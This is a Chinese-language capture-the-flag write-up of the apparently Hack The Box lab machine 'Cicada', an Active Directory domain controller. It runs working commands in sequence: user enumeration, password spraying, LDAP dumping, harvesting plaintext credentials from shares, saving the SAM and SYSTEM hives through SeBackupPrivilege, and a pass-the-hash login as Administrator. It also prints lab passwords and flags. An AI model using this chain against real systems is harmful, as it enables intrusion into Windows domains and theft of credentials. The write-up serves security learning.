Cicada(AD),smb、ldap[ldapdomaindump]、sebackupprivilege(提權)

```
└──# nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,52553 -A
10.10.11.35
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-28 22:49 PDT
Nmap scan report for 10.10.11.35
Host is up (0.20s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-09-29
12:49:56Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain:
cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>,
DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
|_ssl-date: TLS randomness does not represent time
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain:
cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>,
DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
|_ssl-date: TLS randomness does not represent time
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain:
cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>,
DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
```

```
|_Not valid after:  2025-08-22T20:24:16
|_ssl-date: TLS randomness does not represent time
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain:
cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>,
DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
|_ssl-date: TLS randomness does not represent time
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
52553/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open
and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022 (89%)
Aggressive OS guesses: Microsoft Windows Server 2022 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_clock-skew: 7h00m30s
| smb2-time:
|   date: 2024-09-29T12:51:04
|_  start_date: N/A

TRACEROUTE (using port 135/tcp)
HOP RTT       ADDRESS
1   221.55 ms 10.10.14.1
2   221.85 ms 10.10.11.35

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 115.82 seconds
```

smb可匿名登入

```
└─# smbclient -L 10.10.11.35
Password for [WORKGROUP\root]:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        DEV             Disk
        HR              Disk
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        SYSVOL          Disk      Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.11.35 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

目前只有HR裡有資料..

```
┌──(root㉿kali)-[~/smb]
└─# cat Notice\ from\ HR.txt

Dear new hire!

Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols, it's essential that you change your default password to
 something unique and secure.

Your default password is: Cicada$M6Corpb*@Lp#nZp!8

To change your password:

1. Log in to your Cicada Corp account** using the provided username and the default password mentioned above.
2. Once logged in, navigate to your account settings or profile settings section.
3. Look for the option to change your password. This will be labeled as "Change Password".
4. Follow the prompts to create a new password**. Make sure your new password is strong, containing a mix of uppercase letters, lowercase letters, numbers,
and special characters.
5. After changing your password, make sure to save your changes.

Remember, your password is a crucial aspect of keeping your account secure. Please do not share your password with anyone, and ensure you use a complex pass
word.

If you encounter any issues or need assistance with changing your password, don't hesitate to reach out to our support team at support@cicada.htb.

Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team!

Best regards,
Cicada Corp
```

```
username : ??
passwd : Cicada$M6Corpb*@Lp#nZp!8
```

進行枚舉吧..使用工具`kerbrute`
參考：

- https://3gstudent.github.io/渗透技巧-通过Kerberos-pre-auth进行用户枚举和口令爆破
- https://github.com/ropnop/kerbrute

```
./kerbrute_linux_amd64 userenum --dc 10.10.11.35 -d cicada.htb
/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

2024/09/29 23:27:46 >  [+] VALID USERNAME:    michael.wrightson@cicada.htb
2024/09/29 23:27:46 >  [+] VALID USERNAME:    sarah.dantelia@cicada.htb
2024/09/29 23:27:46 >  [+] VALID USERNAME:    john.smoulder@cicada.htb
2024/09/29 23:27:46 >  [+] VALID USERNAME:    emily.oscars@cicada.htb
2024/09/29 23:27:46 >  [+] VALID USERNAME:    david.orelious@cicada.htb
```

進行winrm登入爆破。爆破都可以登入，但測試登入都失敗。
SMB登入爆破

```
└──# crackmapexec smb 10.10.11.35 -u username_list -p 'Cicada$M6Corpb*@Lp#nZp!8'
cicada.htb\david.orelious:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         10.10.11.35     445    CICADA-DC        [+]
cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
```

但SMB只有`SYSVOL`文件有東西，也沒法下載檔案

```
└──# smbclient //10.10.11.35/SYSVOL -U michael.wrightson
Password for [WORKGROUP\michael.wrightson]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Aug 22 13:40:07 2024
  ..                                  D        0  Thu Mar 14 07:08:56 2024
  cicada.htb                         Dr        0  Thu Mar 14 07:08:56 2024

                4168447 blocks of size 4096. 299735 blocks available
smb: \> get cicada.htb
NT_STATUS_FILE_IS_A_DIRECTORY opening remote file \cicada.htb
```

因為有ldap端口，使用工具`ldapdomaindump`，嘗試登入抓取(成功)

```
ldapdomaindump ldap://10.10.11.35 -u 'cicada.htb\michael.wrightson' -p
'Cicada$M6Corpb*@Lp#nZp!8'
```

在`domain_users.html`找到一組帳密:

```
username : david.orelious
passwd : aRt$Lp#7t*VQ!3
```

將此障密SMB登入，在`DEV`找到一個腳本

```
└──# smbclient //10.10.11.35/DEV -U david.orelious
Password for [WORKGROUP\david.orelious]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Mar 14 08:31:39 2024
  ..                                  D        0  Thu Mar 14 08:21:29 2024
  Backup_script.ps1                   A      601  Wed Aug 28 13:28:22 2024
get
                4168447 blocks of size 4096. 299692 blocks available
smb: \> get Backup_script.ps1
getting file \Backup_script.ps1 of size 601 as Backup_script.ps1 (0.8 KiloBytes/sec) (average 0.8 KiloBytes/sec)
```

內文：

```
—# cat Backup_script.ps1

$sourceDirectory = "C:\smb"
$destinationDirectory = "D:\Backup"

$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force
```

```
$credentials = New-Object System.Management.Automation.PSCredential($username, $password)
$dateStamp = Get-Date -Format "yyyyMMdd_HHmmss"
$backupFileName = "smb_backup_$dateStamp.zip"
$backupFilePath = Join-Path -Path $destinationDirectory -ChildPath $backupFileName
Compress-Archive -Path $sourceDirectory -DestinationPath $backupFilePath
Write-Host "Backup completed successfully. Backup file saved to: $backupFilePath"
```

此帳密SMB登入無相關文件。

winrm疑似可以登入

```
┌──(root㉿kali)-[~/htb/Cicada/smb]
└─# crackmapexec winrm 10.10.11.35 -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'
SMB         10.10.11.35     5985   CICADA-DC        [*] Windows Server 2022 Build 20348 (name:CICADA-DC) (domain:cicada.htb)
HTTP        10.10.11.35     5985   CICADA-DC        [*] http://10.10.11.35:5985/wsman
WINRM       10.10.11.35     5985   CICADA-DC        [+] cicada.htb\emily.oscars:Q!3@Lp#M6b*7t*Vt (Pwn3d!)
```

獲取user flag

```
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop> type user.txt
83410a8eb479d4fe0d3d7d42d524c9f5
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop>
```

找到疑似可獲取root

```
PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
```

參考網站：

- https://www.hackingarticles.in/windows-privilege-escalation-sebackupprivilege/
- https://github.com/nickvourd/Windows-Local-Privilege-Escalation-Cookbook/blob/master/Notes/SeBackupPrivilege.md

命令：

```
cd C:/
reg save hklm\sam C:\temp\sam.hive
reg save hklm\system C:\temp\system.hive
cd temp
download sam.hive
download system.hive
* * *
└──# impacket-secretsdump -sam sam.hive -system system.hive LOCAL
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
```

```
[*] Target system bootKey: 0x3c2b033757a49110a9ee680b46e8d620
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
```

使用evwinrm的HASH登入

```
./evil-winrm -i 10.10.11.35 -u Administrator -H '2b87e7c93a3e8a0ea4a581937016f341'
```

並獲取root flag

```
# ./evil-winrm -i 10.10.11.35 -u Administrator -H '2b87e7c93a3e8a0ea4a581937016f341'

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
cicada\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> ls


    Directory: C:\Users\Administrator\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-ar---         9/29/2024   4:30 AM             34 root.txt


ty*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
a88d2b4388e61a34dd672770741180dc
*Evil-WinRM* PS C:\Users\Administrator\Desktop>
```